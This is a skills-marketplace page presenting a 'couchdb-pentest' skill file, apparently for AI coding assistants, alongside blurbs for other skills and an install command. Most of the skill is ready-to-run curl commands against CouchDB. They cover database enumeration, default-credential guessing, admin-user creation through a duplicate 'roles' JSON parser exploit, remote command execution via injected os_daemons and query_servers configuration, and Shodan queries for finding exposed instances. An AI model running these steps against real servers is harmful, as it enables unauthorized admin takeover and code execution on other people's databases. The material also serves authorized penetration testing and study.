菜单
Pentest CouchDB databases on ports 5984/6984. Use this skill whenever the user mentions CouchDB, document databases, port 5984, port 6984, or needs to enumerate/exploit CouchDB instances. This includes database enumeration, credential testing, privilege escalation, and RCE exploitation.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/abelrguezr/hacktricks-skills --skill couchdb-pentest命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
AI-assisted fuzzing and vulnerability discovery. Use this skill whenever the user wants to generate fuzzing seeds, evolve grammars, analyze crashes, create proof-of-vulnerability exploits, or generate patches for discovered bugs. Trigger on mentions of fuzzing, AFL++, libFuzzer, vulnerability discovery, crash analysis, exploit generation, or security testing with LLMs.
Set up and use Burp Suite's MCP Server extension to enable LLM-assisted passive vulnerability discovery. Use this skill whenever the user wants to integrate Burp with MCP-capable AI tools (Codex, Gemini, Ollama, Claude), configure the MCP proxy, troubleshoot handshake issues, or analyze intercepted HTTP traffic for security findings. Trigger on mentions of Burp MCP, Burp AI Agent, MCP proxy setup, or LLM-assisted traffic review.
Help users understand and implement deep learning concepts including neural networks, CNNs, RNNs, LLMs, and diffusion models. Use this skill whenever the user asks about deep learning architectures, wants to build neural networks in PyTorch, needs help with training loops, or wants to understand concepts like backpropagation, activation functions, attention mechanisms, or generative models. Make sure to use this skill for any deep learning related questions, code reviews, architecture design, or implementation help.
基于 SOC 职业分类
| name | couchdb-pentest |
| description | Pentest CouchDB databases on ports 5984/6984. Use this skill whenever the user mentions CouchDB, document databases, port 5984, port 6984, or needs to enumerate/exploit CouchDB instances. This includes database enumeration, credential testing, privilege escalation, and RCE exploitation. |
A comprehensive skill for testing CouchDB document-oriented databases for security vulnerabilities.
# Basic enumeration
curl http://<IP>:5984/
# List all databases
curl http://<IP>:5984/_all_dbs
# With credentials
curl http://<user>:<password>@<IP>:5984/_all_dbs
Use these tools for initial reconnaissance:
# Nmap scripts
nmap -sV --script couchdb-databases,couchdb-stats -p 5984 <IP>
# Metasploit
msfconsole
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <IP>
run
curl http://<IP>:5984/
Expected responses:
{"couchdb":"Welcome","version":"0.10.1"} - Version info{"error":"unauthorized","reason":"Authentication required."} - Auth required (401)These endpoints reveal system information:
| Endpoint | Description |
|---|---|
/_active_tasks | Running tasks with status and process IDs |
/_all_dbs | List of all databases |
/_cluster_setup | Cluster status and configuration |
/_db_updates | Database events (requires _global_changes) |
/_membership | Cluster nodes information |
/_scheduler/jobs | Replication jobs with source/target info |
/_scheduler/docs | Replication document states |
/_node/_local | Current Erlang node name |
/_node/_local/_stats | Server statistics |
/_node/_local/_system | System-level statistics |
/_up | Server health check |
/_uuids | Generate UUIDs |
/_reshard | Resharding job status |
# List all databases
curl -X GET http://<IP>:5984/_all_dbs
# Get database info
curl http://<IP>:5984/<database_name>
# List documents in database
curl -X GET http://<IP>:5984/<database_name>/_all_docs
# Read specific document
curl -X GET http://<IP>:5984/<database_name>/<document_id>
If you receive 401 Unauthorized responses, try:
admin:admin, couchdb:couchdb# URL encoding
curl http://<user>:<password>@<IP>:5984/_all_dbs
# Or with -u flag
curl -u <user>:<password> http://<IP>:5984/_all_dbs
Exploit JSON parser differences to create admin users:
curl -X PUT \
-d '{"type":"user","name":"<username>","roles":["_admin"],"roles":[],"password":"<password>"}' \
http://<IP>:5984/_users/org.couchdb.user:<username> \
-H "Content-Type:application/json"
Note: The duplicate roles keys exploit parser differences between Erlang and JavaScript.
Requires write access to local.ini file:
# Inject command via CORS configuration
curl -X PUT \
'http://<user>:<password>@<IP>:5984/_node/couchdb@<IP>/_config/cors/origins' \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d "<origin>\n\n[os_daemons]\ntestdaemon = /path/to/command"
# Restart CouchDB to trigger execution
kill <couchdb_process_id>
Requires write access to local.ini:
# Add custom query server
curl -X PUT \
'http://<user>:<password>@<IP>:5984/_node/couchdb@<IP>/_config/query_servers/cmd' \
-d '"/path/to/command"'
# Create database and design document
curl -X PUT 'http://<user>:<password>@<IP>:5984/<dbname>'
curl -X PUT 'http://<user>:<password>@<IP>:5984/<dbname>/_design/<viewname>' \
-d '{"_id": "_design/<viewname>", "views": {"anything": {"map": ""} }, "language": "cmd"}'
# Trigger execution
curl http://<user>:<password>@<IP>:5984/<dbname>/_design/<viewname>/_view/anything
If port 4369 (EPMD) is accessible:
See the Erlang EPMD pentesting guide for detailed exploitation steps.
# Find CouchDB instances
port:5984 couchdb
# Find unauthenticated instances
port:5984 "Welcome"
# Find specific versions
port:5984 "version":"2.0.0"
_users - User accounts_replicator - Replication configurations_global_changes - Change tracking_metadata - Metadata storage